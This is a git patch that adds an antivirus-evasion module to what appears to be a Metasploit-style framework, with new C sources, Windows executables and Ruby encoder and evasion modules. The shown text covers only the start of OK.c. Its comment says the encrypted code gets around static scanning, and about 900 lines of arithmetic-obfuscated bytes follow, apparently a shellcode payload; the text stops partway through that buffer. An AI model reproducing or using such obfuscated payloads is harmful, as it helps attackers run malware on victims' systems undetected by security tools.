From 381433f4f9181811456c7c88d410573ed2e24ccc Mon Sep 17 00:00:00 2001 From: Arthur RAOUT Date: Mon, 23 Jan 2023 20:24:34 +0100 Subject: [PATCH 01/22] Added new branch with evasion module --- OK.c | 941 ++++++++++++++++ OK.exe | Bin 0 -> 108984 bytes VYIPqkISsoacGs.c | 1302 +++++++++++++++++++++++ modules/encoders/x64/xor_poly.rb | 197 ++++ modules/evasion/windows/no_shellcode.rb | 105 ++ modules/evasion/windows/test.rb | 80 ++ testings/LLZEbwW.exe | Bin 0 -> 169472 bytes testings/VsbYynxH.exe | Bin 0 -> 4096 bytes testings/yip_yop.c | 75 ++ 9 files changed, 2700 insertions(+) create mode 100644 OK.c create mode 100755 OK.exe create mode 100644 VYIPqkISsoacGs.c create mode 100644 modules/encoders/x64/xor_poly.rb create mode 100644 modules/evasion/windows/no_shellcode.rb create mode 100644 modules/evasion/windows/test.rb create mode 100644 testings/LLZEbwW.exe create mode 100644 testings/VsbYynxH.exe create mode 100644 testings/yip_yop.c diff --git a/OK.c b/OK.c new file mode 100644 index 000000000000..b930d8451681 --- /dev/null +++ b/OK.c @@ -0,0 +1,941 @@ + +#include + +// The encrypted code allows us to get around static scanning +#define MEM 10000000 + +int size = 908; +char *buf[908]; + +int main() { + buf[0] = '\x1be'-399; + buf[1] = '\x258'-399; + buf[2] = '\x21a'-399; + buf[3] = '\x27a'-399; + buf[4] = '\x1b6'-399; + buf[5] = '\x246'-399; + buf[6] = '\x1c2'-399; + buf[7] = '\x1a9'-399; + buf[8] = '\x240'-399; + buf[9] = '\x1bf'-399; + buf[10] = '\x1ca'-399; + buf[11] = '\x19d'-399; + buf[12] = '\x21d'-399; + buf[13] = '\x21b'-399; + buf[14] = '\x1c0'-399; + buf[15] = '\x217'-399; + buf[16] = '\x1b4'-399; + buf[17] = '\x234'-399; + buf[18] = '\x239'-399; + buf[19] = '\x1e5'-399; + buf[20] = '\x1b3'-399; + buf[21] = '\x190'-399; + buf[22] = '\x209'-399; + buf[23] = '\x1fd'-399; + buf[24] = '\x28a'-399; + buf[25] = '\x1c3'-399; + buf[26] = '\x1dc'-399; + buf[27] = '\x284'-399; + buf[28] = '\x247'-399; + buf[29] = '\x26e'-399; + buf[30] = '\x22c'-399; + buf[31] = '\x1db'-399; + buf[32] = '\x21b'-399; + buf[33] = '\x193'-399; + buf[34] = '\x1e0'-399; + buf[35] = '\x253'-399; + buf[36] = '\x21c'-399; + buf[37] = '\x1e7'-399; + buf[38] = '\x1af'-399; + buf[39] = '\x1ac'-399; + buf[40] = '\x1d1'-399; + buf[41] = '\x1d7'-399; + buf[42] = '\x1fb'-399; + buf[43] = '\x191'-399; + buf[44] = '\x190'-399; + buf[45] = '\x25a'-399; + buf[46] = '\x23f'-399; + buf[47] = '\x244'-399; + buf[48] = '\x1df'-399; + buf[49] = '\x22c'-399; + buf[50] = '\x238'-399; + buf[51] = '\x19d'-399; + buf[52] = '\x1f7'-399; + buf[53] = '\x274'-399; + buf[54] = '\x275'-399; + buf[55] = '\x1e4'-399; + buf[56] = '\x235'-399; + buf[57] = '\x1eb'-399; + buf[58] = '\x251'-399; + buf[59] = '\x245'-399; + buf[60] = '\x1de'-399; + buf[61] = '\x21e'-399; + buf[62] = '\x273'-399; + buf[63] = '\x28a'-399; + buf[64] = '\x23f'-399; + buf[65] = '\x23b'-399; + buf[66] = '\x1c1'-399; + buf[67] = '\x228'-399; + buf[68] = '\x20d'-399; + buf[69] = '\x203'-399; + buf[70] = '\x1f2'-399; + buf[71] = '\x22d'-399; + buf[72] = '\x199'-399; + buf[73] = '\x1f0'-399; + buf[74] = '\x25c'-399; + buf[75] = '\x211'-399; + buf[76] = '\x1d9'-399; + buf[77] = '\x19e'-399; + buf[78] = '\x1d2'-399; + buf[79] = '\x1ab'-399; + buf[80] = '\x1b3'-399; + buf[81] = '\x1aa'-399; + buf[82] = '\x26e'-399; + buf[83] = '\x283'-399; + buf[84] = '\x1ac'-399; + buf[85] = '\x1f0'-399; + buf[86] = '\x244'-399; + buf[87] = '\x289'-399; + buf[88] = '\x196'-399; + buf[89] = '\x1a9'-399; + buf[90] = '\x19a'-399; + buf[91] = '\x26c'-399; + buf[92] = '\x1d8'-399; + buf[93] = '\x219'-399; + buf[94] = '\x1f3'-399; + buf[95] = '\x233'-399; + buf[96] = '\x26f'-399; + buf[97] = '\x28e'-399; + buf[98] = '\x1cc'-399; + buf[99] = '\x233'-399; + buf[100] = '\x199'-399; + buf[101] = '\x1a7'-399; + buf[102] = '\x214'-399; + buf[103] = '\x210'-399; + buf[104] = '\x1d4'-399; + buf[105] = '\x23e'-399; + buf[106] = '\x1a6'-399; + buf[107] = '\x1b6'-399; + buf[108] = '\x227'-399; + buf[109] = '\x23e'-399; + buf[110] = '\x26d'-399; + buf[111] = '\x235'-399; + buf[112] = '\x23d'-399; + buf[113] = '\x1c8'-399; + buf[114] = '\x28b'-399; + buf[115] = '\x21c'-399; + buf[116] = '\x1bb'-399; + buf[117] = '\x1f6'-399; + buf[118] = '\x24f'-399; + buf[119] = '\x22c'-399; + buf[120] = '\x1c3'-399; + buf[121] = '\x1cd'-399; + buf[122] = '\x25d'-399; + buf[123] = '\x22c'-399; + buf[124] = '\x1cc'-399; + buf[125] = '\x271'-399; + buf[126] = '\x1ab'-399; + buf[127] = '\x27d'-399; + buf[128] = '\x1e2'-399; + buf[129] = '\x1dd'-399; + buf[130] = '\x214'-399; + buf[131] = '\x1ca'-399; + buf[132] = '\x265'-399; + buf[133] = '\x22c'-399; + buf[134] = '\x265'-399; + buf[135] = '\x267'-399; + buf[136] = '\x219'-399; + buf[137] = '\x218'-399; + buf[138] = '\x264'-399; + buf[139] = '\x24d'-399; + buf[140] = '\x1a8'-399; + buf[141] = '\x1e4'-399; + buf[142] = '\x28d'-399; + buf[143] = '\x1b2'-399; + buf[144] = '\x1d6'-399; + buf[145] = '\x288'-399; + buf[146] = '\x285'-399; + buf[147] = '\x23b'-399; + buf[148] = '\x227'-399; + buf[149] = '\x1da'-399; + buf[150] = '\x1bd'-399; + buf[151] = '\x230'-399; + buf[152] = '\x247'-399; + buf[153] = '\x228'-399; + buf[154] = '\x1eb'-399; + buf[155] = '\x200'-399; + buf[156] = '\x24e'-399; + buf[157] = '\x27a'-399; + buf[158] = '\x255'-399; + buf[159] = '\x288'-399; + buf[160] = '\x1aa'-399; + buf[161] = '\x1dd'-399; + buf[162] = '\x191'-399; + buf[163] = '\x259'-399; + buf[164] = '\x26b'-399; + buf[165] = '\x27a'-399; + buf[166] = '\x1b9'-399; + buf[167] = '\x25d'-399; + buf[168] = '\x240'-399; + buf[169] = '\x1cc'-399; + buf[170] = '\x1d8'-399; + buf[171] = '\x215'-399; + buf[172] = '\x193'-399; + buf[173] = '\x28b'-399; + buf[174] = '\x242'-399; + buf[175] = '\x201'-399; + buf[176] = '\x1a9'-399; + buf[177] = '\x282'-399; + buf[178] = '\x1af'-399; + buf[179] = '\x25b'-399; + buf[180] = '\x197'-399; + buf[181] = '\x213'-399; + buf[182] = '\x1e1'-399; + buf[183] = '\x1b1'-399; + buf[184] = '\x23f'-399; + buf[185] = '\x22f'-399; + buf[186] = '\x217'-399; + buf[187] = '\x209'-399; + buf[188] = '\x1fb'-399; + buf[189] = '\x1d1'-399; + buf[190] = '\x1a4'-399; + buf[191] = '\x25c'-399; + buf[192] = '\x282'-399; + buf[193] = '\x1fa'-399; + buf[194] = '\x1a9'-399; + buf[195] = '\x1c9'-399; + buf[196] = '\x22b'-399; + buf[197] = '\x1c1'-399; + buf[198] = '\x20b'-399; + buf[199] = '\x216'-399; + buf[200] = '\x1a3'-399; + buf[201] = '\x207'-399; + buf[202] = '\x225'-399; + buf[203] = '\x267'-399; + buf[204] = '\x20f'-399; + buf[205] = '\x1ab'-399; + buf[206] = '\x1a4'-399; + buf[207] = '\x22d'-399; + buf[208] = '\x224'-399; + buf[209] = '\x1bd'-399; + buf[210] = '\x1b1'-399; + buf[211] = '\x1e2'-399; + buf[212] = '\x194'-399; + buf[213] = '\x272'-399; + buf[214] = '\x22b'-399; + buf[215] = '\x1c7'-399; + buf[216] = '\x1c6'-399; + buf[217] = '\x21c'-399; + buf[218] = '\x278'-399; + buf[219] = '\x1d6'-399; + buf[220] = '\x21b'-399; + buf[221] = '\x1cc'-399; + buf[222] = '\x1c5'-399; + buf[223] = '\x193'-399; + buf[224] = '\x1bf'-399; + buf[225] = '\x27d'-399; + buf[226] = '\x1dc'-399; + buf[227] = '\x260'-399; + buf[228] = '\x21b'-399; + buf[229] = '\x270'-399; + buf[230] = '\x1b2'-399; + buf[231] = '\x1f1'-399; + buf[232] = '\x192'-399; + buf[233] = '\x19e'-399; + buf[234] = '\x21d'-399; + buf[235] = '\x1a5'-399; + buf[236] = '\x1ec'-399; + buf[237] = '\x1c3'-399; + buf[238] = '\x22f'-399; + buf[239] = '\x1fa'-399; + buf[240] = '\x1a4'-399; + buf[241] = '\x270'-399; + buf[242] = '\x26e'-399; + buf[243] = '\x1fb'-399; + buf[244] = '\x20d'-399; + buf[245] = '\x1c3'-399; + buf[246] = '\x206'-399; + buf[247] = '\x1c3'-399; + buf[248] = '\x224'-399; + buf[249] = '\x28e'-399; + buf[250] = '\x22f'-399; + buf[251] = '\x279'-399; + buf[252] = '\x193'-399; + buf[253] = '\x1fe'-399; + buf[254] = '\x230'-399; + buf[255] = '\x288'-399; + buf[256] = '\x1e2'-399; + buf[257] = '\x1c5'-399; + buf[258] = '\x209'-399; + buf[259] = '\x240'-399; + buf[260] = '\x28e'-399; + buf[261] = '\x1e4'-399; + buf[262] = '\x214'-399; + buf[263] = '\x202'-399; + buf[264] = '\x1ba'-399; + buf[265] = '\x28c'-399; + buf[266] = '\x23e'-399; + buf[267] = '\x24c'-399; + buf[268] = '\x243'-399; + buf[269] = '\x25a'-399; + buf[270] = '\x203'-399; + buf[271] = '\x288'-399; + buf[272] = '\x19c'-399; + buf[273] = '\x1e7'-399; + buf[274] = '\x1d8'-399; + buf[275] = '\x1df'-399; + buf[276] = '\x1de'-399; + buf[277] = '\x200'-399; + buf[278] = '\x24e'-399; + buf[279] = '\x283'-399; + buf[280] = '\x1e8'-399; + buf[281] = '\x199'-399; + buf[282] = '\x27c'-399; + buf[283] = '\x1a6'-399; + buf[284] = '\x276'-399; + buf[285] = '\x27c'-399; + buf[286] = '\x1a2'-399; + buf[287] = '\x201'-399; + buf[288] = '\x1e3'-399; + buf[289] = '\x219'-399; + buf[290] = '\x23b'-399; + buf[291] = '\x210'-399; + buf[292] = '\x198'-399; + buf[293] = '\x27b'-399; + buf[294] = '\x1bb'-399; + buf[295] = '\x1b2'-399; + buf[296] = '\x261'-399; + buf[297] = '\x25f'-399; + buf[298] = '\x195'-399; + buf[299] = '\x229'-399; + buf[300] = '\x271'-399; + buf[301] = '\x1f2'-399; + buf[302] = '\x1d0'-399; + buf[303] = '\x1b5'-399; + buf[304] = '\x1b9'-399; + buf[305] = '\x24f'-399; + buf[306] = '\x26c'-399; + buf[307] = '\x19e'-399; + buf[308] = '\x277'-399; + buf[309] = '\x21d'-399; + buf[310] = '\x21c'-399; + buf[311] = '\x25f'-399; + buf[312] = '\x1ea'-399; + buf[313] = '\x1cc'-399; + buf[314] = '\x208'-399; + buf[315] = '\x23d'-399; + buf[316] = '\x22f'-399; + buf[317] = '\x283'-399; + buf[318] = '\x279'-399; + buf[319] = '\x229'-399; + buf[320] = '\x28c'-399; + buf[321] = '\x1b1'-399; + buf[322] = '\x1b5'-399; + buf[323] = '\x1e3'-399; + buf[324] = '\x196'-399; + buf[325] = '\x25e'-399; + buf[326] = '\x1b6'-399; + buf[327] = '\x244'-399; + buf[328] = '\x1b0'-399; + buf[329] = '\x24d'-399; + buf[330] = '\x267'-399; + buf[331] = '\x23d'-399; + buf[332] = '\x24c'-399; + buf[333] = '\x20d'-399; + buf[334] = '\x249'-399; + buf[335] = '\x1b2'-399; + buf[336] = '\x24e'-399; + buf[337] = '\x1e2'-399; + buf[338] = '\x23d'-399; + buf[339] = '\x1bd'-399; + buf[340] = '\x1e7'-399; + buf[341] = '\x24d'-399; + buf[342] = '\x26e'-399; + buf[343] = '\x223'-399; + buf[344] = '\x20d'-399; + buf[345] = '\x1b3'-399; + buf[346] = '\x253'-399; + buf[347] = '\x261'-399; + buf[348] = '\x18f'-399; + buf[349] = '\x206'-399; + buf[350] = '\x284'-399; + buf[351] = '\x196'-399; + buf[352] = '\x1f9'-399; + buf[353] = '\x276'-399; + buf[354] = '\x245'-399; + buf[355] = '\x21a'-399; + buf[356] = '\x1bc'-399; + buf[357] = '\x1ea'-399; + buf[358] = '\x20e'-399; + buf[359] = '\x1dd'-399; + buf[360] = '\x196'-399; + buf[361] = '\x19c'-399; + buf[362] = '\x249'-399; + buf[363] = '\x262'-399; + buf[364] = '\x272'-399; + buf[365] = '\x1c5'-399; + buf[366] = '\x269'-399; + buf[367] = '\x24a'-399; + buf[368] = '\x244'-399; + buf[369] = '\x1fd'-399; + buf[370] = '\x1d9'-399; + buf[371] = '\x19a'-399; + buf[372] = '\x220'-399; + buf[373] = '\x239'-399; + buf[374] = '\x200'-399; + buf[375] = '\x1b1'-399; + buf[376] = '\x1b9'-399; + buf[377] = '\x278'-399; + buf[378] = '\x229'-399; + buf[379] = '\x1d5'-399; + buf[380] = '\x219'-399; + buf[381] = '\x1ba'-399; + buf[382] = '\x1f1'-399; + buf[383] = '\x256'-399; + buf[384] = '\x1f3'-399; + buf[385] = '\x1e4'-399; + buf[386] = '\x209'-399; + buf[387] = '\x25d'-399; + buf[388] = '\x1bf'-399; + buf[389] = '\x232'-399; + buf[390] = '\x286'-399; + buf[391] = '\x210'-399; + buf[392] = '\x214'-399; + buf[393] = '\x261'-399; + buf[394] = '\x1cf'-399; + buf[395] = '\x28b'-399; + buf[396] = '\x260'-399; + buf[397] = '\x230'-399; + buf[398] = '\x1d5'-399; + buf[399] = '\x228'-399; + buf[400] = '\x204'-399; + buf[401] = '\x27e'-399; + buf[402] = '\x24c'-399; + buf[403] = '\x213'-399; + buf[404] = '\x238'-399; + buf[405] = '\x26e'-399; + buf[406] = '\x274'-399; + buf[407] = '\x1a8'-399; + buf[408] = '\x22f'-399; + buf[409] = '\x20c'-399; + buf[410] = '\x232'-399; + buf[411] = '\x1c4'-399; + buf[412] = '\x228'-399; + buf[413] = '\x267'-399; + buf[414] = '\x281'-399; + buf[415] = '\x1d5'-399; + buf[416] = '\x212'-399; + buf[417] = '\x1bc'-399; + buf[418] = '\x1a9'-399; + buf[419] = '\x223'-399; + buf[420] = '\x1c6'-399; + buf[421] = '\x1c7'-399; + buf[422] = '\x1bd'-399; + buf[423] = '\x25f'-399; + buf[424] = '\x1bc'-399; + buf[425] = '\x200'-399; + buf[426] = '\x23d'-399; + buf[427] = '\x23d'-399; + buf[428] = '\x27b'-399; + buf[429] = '\x28d'-399; + buf[430] = '\x1ae'-399; + buf[431] = '\x21f'-399; + buf[432] = '\x248'-399; + buf[433] = '\x1da'-399; + buf[434] = '\x20d'-399; + buf[435] = '\x1bd'-399; + buf[436] = '\x1b1'-399; + buf[437] = '\x1d9'-399; + buf[438] = '\x1fe'-399; + buf[439] = '\x1aa'-399; + buf[440] = '\x265'-399; + buf[441] = '\x231'-399; + buf[442] = '\x220'-399; + buf[443] = '\x19f'-399; + buf[444] = '\x1fd'-399; + buf[445] = '\x1ea'-399; + buf[446] = '\x1e5'-399; + buf[447] = '\x1c7'-399; + buf[448] = '\x1fe'-399; + buf[449] = '\x281'-399; + buf[450] = '\x23a'-399; + buf[451] = '\x235'-399; + buf[452] = '\x24d'-399; + buf[453] = '\x270'-399; + buf[454] = '\x260'-399; + buf[455] = '\x253'-399; + buf[456] = '\x1bc'-399; + buf[457] = '\x1e7'-399; + buf[458] = '\x1e5'-399; + buf[459] = '\x1b4'-399; + buf[460] = '\x1a2'-399; + buf[461] = '\x26d'-399; + buf[462] = '\x23a'-399; + buf[463] = '\x24d'-399; + buf[464] = '\x196'-399; + buf[465] = '\x1f6'-399; + buf[466] = '\x207'-399; + buf[467] = '\x20c'-399; + buf[468] = '\x22e'-399; + buf[469] = '\x1e8'-399; + buf[470] = '\x28d'-399; + buf[471] = '\x1b8'-399; + buf[472] = '\x27b'-399; + buf[473] = '\x280'-399; + buf[474] = '\x1d4'-399; + buf[475] = '\x237'-399; + buf[476] = '\x215'-399; + buf[477] = '\x1b3'-399; + buf[478] = '\x247'-399; + buf[479] = '\x262'-399; + buf[480] = '\x1bc'-399; + buf[481] = '\x266'-399; + buf[482] = '\x1e8'-399; + buf[483] = '\x1bb'-399; + buf[484] = '\x255'-399; + buf[485] = '\x1b8'-399; + buf[486] = '\x22a'-399; + buf[487] = '\x267'-399; + buf[488] = '\x203'-399; + buf[489] = '\x1dd'-399; + buf[490] = '\x19d'-399; + buf[491] = '\x27d'-399; + buf[492] = '\x26d'-399; + buf[493] = '\x251'-399; + buf[494] = '\x1dc'-399; + buf[495] = '\x27c'-399; + buf[496] = '\x1f3'-399; + buf[497] = '\x1e6'-399; + buf[498] = '\x275'-399; + buf[499] = '\x26b'-399; + buf[500] = '\x1a5'-399; + buf[501] = '\x214'-399; + buf[502] = '\x26b'-399; + buf[503] = '\x19e'-399; + buf[504] = '\x257'-399; + buf[505] = '\x229'-399; + buf[506] = '\x263'-399; + buf[507] = '\x227'-399; + buf[508] = '\x27d'-399; + buf[509] = '\x1a0'-399; + buf[510] = '\x1c7'-399; + buf[511] = '\x1e7'-399; + buf[512] = '\x1b7'-399; + buf[513] = '\x1fe'-399; + buf[514] = '\x275'-399; + buf[515] = '\x1a0'-399; + buf[516] = '\x23f'-399; + buf[517] = '\x207'-399; + buf[518] = '\x1c5'-399; + buf[519] = '\x1ae'-399; + buf[520] = '\x1e3'-399; + buf[521] = '\x235'-399; + buf[522] = '\x1bb'-399; + buf[523] = '\x198'-399; + buf[524] = '\x1e7'-399; + buf[525] = '\x1f6'-399; + buf[526] = '\x258'-399; + buf[527] = '\x19c'-399; + buf[528] = '\x22e'-399; + buf[529] = '\x1c4'-399; + buf[530] = '\x19a'-399; + buf[531] = '\x24c'-399; + buf[532] = '\x24a'-399; + buf[533] = '\x243'-399; + buf[534] = '\x24a'-399; + buf[535] = '\x269'-399; + buf[536] = '\x1ed'-399; + buf[537] = '\x238'-399; + buf[538] = '\x22b'-399; + buf[539] = '\x268'-399; + buf[540] = '\x1fc'-399; + buf[541] = '\x1a9'-399; + buf[542] = '\x191'-399; + buf[543] = '\x1ef'-399; + buf[544] = '\x1a5'-399; + buf[545] = '\x230'-399; + buf[546] = '\x234'-399; + buf[547] = '\x263'-399; + buf[548] = '\x25d'-399; + buf[549] = '\x1b6'-399; + buf[550] = '\x225'-399; + buf[551] = '\x1db'-399; + buf[552] = '\x218'-399; + buf[553] = '\x1a1'-399; + buf[554] = '\x22a'-399; + buf[555] = '\x21e'-399; + buf[556] = '\x281'-399; + buf[557] = '\x1d5'-399; + buf[558] = '\x1e4'-399; + buf[559] = '\x1dd'-399; + buf[560] = '\x288'-399; + buf[561] = '\x1d4'-399; + buf[562] = '\x1e7'-399; + buf[563] = '\x1f6'-399; + buf[564] = '\x1c6'-399; + buf[565] = '\x1ab'-399; + buf[566] = '\x282'-399; + buf[567] = '\x231'-399; + buf[568] = '\x1e9'-399; + buf[569] = '\x23b'-399; + buf[570] = '\x23f'-399; + buf[571] = '\x1a0'-399; + buf[572] = '\x1ed'-399; + buf[573] = '\x203'-399; + buf[574] = '\x27e'-399; + buf[575] = '\x202'-399; + buf[576] = '\x1e8'-399; + buf[577] = '\x26e'-399; + buf[578] = '\x20a'-399; + buf[579] = '\x19b'-399; + buf[580] = '\x26a'-399; + buf[581] = '\x1d5'-399; + buf[582] = '\x278'-399; + buf[583] = '\x237'-399; + buf[584] = '\x1fd'-399; + buf[585] = '\x271'-399; + buf[586] = '\x269'-399; + buf[587] = '\x249'-399; + buf[588] = '\x210'-399; + buf[589] = '\x281'-399; + buf[590] = '\x25f'-399; + buf[591] = '\x25b'-399; + buf[592] = '\x20b'-399; + buf[593] = '\x223'-399; + buf[594] = '\x27b'-399; + buf[595] = '\x23f'-399; + buf[596] = '\x1e9'-399; + buf[597] = '\x24a'-399; + buf[598] = '\x218'-399; + buf[599] = '\x1d3'-399; + buf[600] = '\x1b2'-399; + buf[601] = '\x1e4'-399; + buf[602] = '\x1dc'-399; + buf[603] = '\x1da'-399; + buf[604] = '\x23c'-399; + buf[605] = '\x1dc'-399; + buf[606] = '\x1b1'-399; + buf[607] = '\x197'-399; + buf[608] = '\x285'-399; + buf[609] = '\x28d'-399; + buf[610] = '\x1b4'-399; + buf[611] = '\x236'-399; + buf[612] = '\x1ed'-399; + buf[613] = '\x1c6'-399; + buf[614] = '\x1f0'-399; + buf[615] = '\x288'-399; + buf[616] = '\x1b9'-399; + buf[617] = '\x1f9'-399; + buf[618] = '\x286'-399; + buf[619] = '\x231'-399; + buf[620] = '\x26b'-399; + buf[621] = '\x1e6'-399; + buf[622] = '\x214'-399; + buf[623] = '\x221'-399; + buf[624] = '\x1fb'-399; + buf[625] = '\x21b'-399; + buf[626] = '\x282'-399; + buf[627] = '\x281'-399; + buf[628] = '\x254'-399; + buf[629] = '\x1c7'-399; + buf[630] = '\x27e'-399; + buf[631] = '\x1ab'-399; + buf[632] = '\x24d'-399; + buf[633] = '\x200'-399; + buf[634] = '\x1a4'-399; + buf[635] = '\x24c'-399; + buf[636] = '\x1ad'-399; + buf[637] = '\x1ed'-399; + buf[638] = '\x1b8'-399; + buf[639] = '\x1da'-399; + buf[640] = '\x1f8'-399; + buf[641] = '\x1cb'-399; + buf[642] = '\x217'-399; + buf[643] = '\x281'-399; + buf[644] = '\x25d'-399; + buf[645] = '\x27e'-399; + buf[646] = '\x229'-399; + buf[647] = '\x26d'-399; + buf[648] = '\x27c'-399; + buf[649] = '\x1e5'-399; + buf[650] = '\x225'-399; + buf[651] = '\x19f'-399; + buf[652] = '\x25c'-399; + buf[653] = '\x23f'-399; + buf[654] = '\x248'-399; + buf[655] = '\x28d'-399; + buf[656] = '\x248'-399; + buf[657] = '\x1dc'-399; + buf[658] = '\x27e'-399; + buf[659] = '\x233'-399; + buf[660] = '\x1e1'-399; + buf[661] = '\x1bd'-399; + buf[662] = '\x27d'-399; + buf[663] = '\x24a'-399; + buf[664] = '\x203'-399; + buf[665] = '\x1f2'-399; + buf[666] = '\x214'-399; + buf[667] = '\x264'-399; + buf[668] = '\x216'-399; + buf[669] = '\x20d'-399; + buf[670] = '\x206'-399; + buf[671] = '\x1e6'-399; + buf[672] = '\x22d'-399; + buf[673] = '\x192'-399; + buf[674] = '\x1e8'-399; + buf[675] = '\x218'-399; + buf[676] = '\x276'-399; + buf[677] = '\x1b3'-399; + buf[678] = '\x251'-399; + buf[679] = '\x272'-399; + buf[680] = '\x27f'-399; + buf[681] = '\x244'-399; + buf[682] = '\x1f9'-399; + buf[683] = '\x288'-399; + buf[684] = '\x210'-399; + buf[685] = '\x259'-399; + buf[686] = '\x287'-399; + buf[687] = '\x1a4'-399; + buf[688] = '\x1f0'-399; + buf[689] = '\x28c'-399; + buf[690] = '\x208'-399; + buf[691] = '\x238'-399; + buf[692] = '\x28e'-399; + buf[693] = '\x1fc'-399; + buf[694] = '\x1a0'-399; + buf[695] = '\x265'-399; + buf[696] = '\x28d'-399; + buf[697] = '\x1fd'-399; + buf[698] = '\x21c'-399; + buf[699] = '\x1f8'-399; + buf[700] = '\x218'-399; + buf[701] = '\x19a'-399; + buf[702] = '\x1cc'-399; + buf[703] = '\x226'-399; + buf[704] = '\x222'-399; + buf[705] = '\x236'-399; + buf[706] = '\x27a'-399; + buf[707] = '\x1c8'-399; + buf[708] = '\x24d'-399; + buf[709] = '\x24f'-399; + buf[710] = '\x200'-399; + buf[711] = '\x20c'-399; + buf[712] = '\x196'-399; + buf[713] = '\x19e'-399; + buf[714] = '\x1fd'-399; + buf[715] = '\x26f'-399; + buf[716] = '\x211'-399; + buf[717] = '\x1a4'-399; + buf[718] = '\x214'-399; + buf[719] = '\x280'-399; + buf[720] = '\x1a6'-399; + buf[721] = '\x1a6'-399; + buf[722] = '\x26c'-399; + buf[723] = '\x27e'-399; + buf[724] = '\x1f9'-399; + buf[725] = '\x275'-399; + buf[726] = '\x20d'-399; + buf[727] = '\x1d5'-399; + buf[728] = '\x197'-399; + buf[729] = '\x198'-399; + buf[730] = '\x1cc'-399; + buf[731] = '\x202'-399; + buf[732] = '\x269'-399; + buf[733] = '\x1c6'-399; + buf[734] = '\x216'-399; + buf[735] = '\x1be'-399; + buf[736] = '\x270'-399; + buf[737] = '\x20e'-399; + buf[738] = '\x1ea'-399; + buf[739] = '\x207'-399; + buf[740] = '\x1d4'-399; + buf[741] = '\x271'-399; + buf[742] = '\x22a'-399; + buf[743] = '\x263'-399; + buf[744] = '\x20b'-399; + buf[745] = '\x1c4'-399; + buf[746] = '\x22f'-399; + buf[747] = '\x23c'-399; + buf[748] = '\x1af'-399; + buf[749] = '\x244'-399; + buf[750] = '\x27c'-399; + buf[751] = '\x22a'-399; + buf[752] = '\x287'-399; + buf[753] = '\x1b9'-399; + buf[754] = '\x286'-399; + buf[755] = '\x1b5'-399; + buf[756] = '\x24a'-399; + buf[757] = '\x1dc'-399; + buf[758] = '\x244'-399; + buf[759] = '\x22e'-399; + buf[760] = '\x20f'-399; + buf[761] = '\x258'-399; + buf[762] = '\x25c'-399; + buf[763] = '\x1f9'-399; + buf[764] = '\x1d7'-399; + buf[765] = '\x209'-399; + buf[766] = '\x264'-399; + buf[767] = '\x214'-399; + buf[768] = '\x20a'-399; + buf[769] = '\x1de'-399; + buf[770] = '\x1d1'-399; + buf[771] = '\x1df'-399; + buf[772] = '\x220'-399; + buf[773] = '\x1b8'-399; + buf[774] = '\x1bd'-399; + buf[775] = '\x1ba'-399; + buf[776] = '\x1d3'-399; + buf[777] = '\x1c2'-399; + buf[778] = '\x19b'-399; + buf[779] = '\x28e'-399; + buf[780] = '\x1d6'-399; + buf[781] = '\x276'-399; + buf[782] = '\x1e3'-399; + buf[783] = '\x213'-399; + buf[784] = '\x208'-399; + buf[785] = '\x18f'-399; + buf[786] = '\x21d'-399; + buf[787] = '\x229'-399; + buf[788] = '\x1a9'-399; + buf[789] = '\x1cd'-399; + buf[790] = '\x1bf'-399; + buf[791] = '\x274'-399; + buf[792] = '\x191'-399; + buf[793] = '\x20a'-399; + buf[794] = '\x27a'-399; + buf[795] = '\x25c'-399; + buf[796] = '\x22d'-399; + buf[797] = '\x1e2'-399; + buf[798] = '\x1c0'-399; + buf[799] = '\x195'-399; + buf[800] = '\x1ee'-399; + buf[801] = '\x196'-399; + buf[802] = '\x201'-399; + buf[803] = '\x268'-399; + buf[804] = '\x215'-399; + buf[805] = '\x1aa'-399; + buf[806] = '\x265'-399; + buf[807] = '\x1c8'-399; + buf[808] = '\x242'-399; + buf[809] = '\x227'-399; + buf[810] = '\x1e4'-399; + buf[811] = '\x26e'-399; + buf[812] = '\x277'-399; + buf[813] = '\x1ce'-399; + buf[814] = '\x1f7'-399; + buf[815] = '\x23b'-399; + buf[816] = '\x1e4'-399; + buf[817] = '\x21f'-399; + buf[818] = '\x1a4'-399; + buf[819] = '\x224'-399; + buf[820] = '\x277'-399; + buf[821] = '\x1a2'-399; + buf[822] = '\x27a'-399; + buf[823] = '\x1fe'-399; + buf[824] = '\x215'-399; + buf[825] = '\x243'-399; + buf[826] = '\x249'-399; + buf[827] = '\x256'-399; + buf[828] = '\x1a4'-399; + buf[829] = '\x1f8'-399; + buf[830] = '\x223'-399; + buf[831] = '\x230'-399; + buf[832] = '\x19f'-399; + buf[833] = '\x288'-399; + buf[834] = '\x1ca'-399; + buf[835] = '\x214'-399; + buf[836] = '\x208'-399; + buf[837] = '\x1da'-399; + buf[838] = '\x24a'-399; + buf[839] = '\x277'-399; + buf[840] = '\x23f'-399; + buf[841] = '\x1b6'-399; + buf[842] = '\x226'-399; + buf[843] = '\x1e3'-399; + buf[844] = '\x210'-399; + buf[845] = '\x28c'-399; + buf[846] = '\x227'-399; + buf[847] = '\x215'-399; + buf[848] = '\x22c'-399; + buf[849] = '\x1f3'-399; + buf[850] = '\x20a'-399; + buf[851] = '\x230'-399; + buf[852] = '\x27d'-399; + buf[853] = '\x221'-399; + buf[854] = '\x19c'-399; + buf[855] = '\x190'-399; + buf[856] = '\x1f7'-399; + buf[857] = '\x25b'-399; + buf[858] = '\x258'-399; + buf[859] = '\x243'-399; + buf[860] = '\x265'-399; + buf[861] = '\x1a1'-399; + buf[862] = '\x249'-399; + buf[863] = '\x1cd'-399; + buf[864] = '\x269'-399; + buf[865] = '\x1ec'-399; + buf[866] = '\x20b'-399; + buf[867] = '\x1e6'-399; + buf[868] = '\x18f'-399; + buf[869] = '\x28d'-399; + buf[870] = '\x263'-399; + buf[871] = '\x1bc'-399; + buf[872] = '\x221'-399; + buf[873] = '\x1fd'-399; + buf[874] = '\x1dc'-399; + buf[875] = '\x268'-399; + buf[876] = '\x1b0'-399; + buf[877] = '\x1d2'-399; + buf[878] = '\x1d9'-399; + buf[879] = '\x1d2'-399; + buf[880] = '\x22b'-399; + buf[881] = '\x208'-399; + buf[882] = '\x235'-399; + buf[883] = '\x1de'-399; + buf[884] = '\x245'-399; + buf[885] = '\x285'-399; + buf[886] = '\x19e'-399; + buf[887] = '\x211'-399; + buf[888] = '\x1f8'-399; + buf[889] = '\x1aa'-399; + buf[890] = '\x195'-399; + buf[891] = '\x1f6'-399; + buf[892] = '\x191'-399; + buf[893] = '\x1a5'-399; + buf[894] = '\x273'-399; + buf[895] = '\x231'-399; + buf[896] = '\x254'-399; + buf[897] = '\x1bb'-399; + 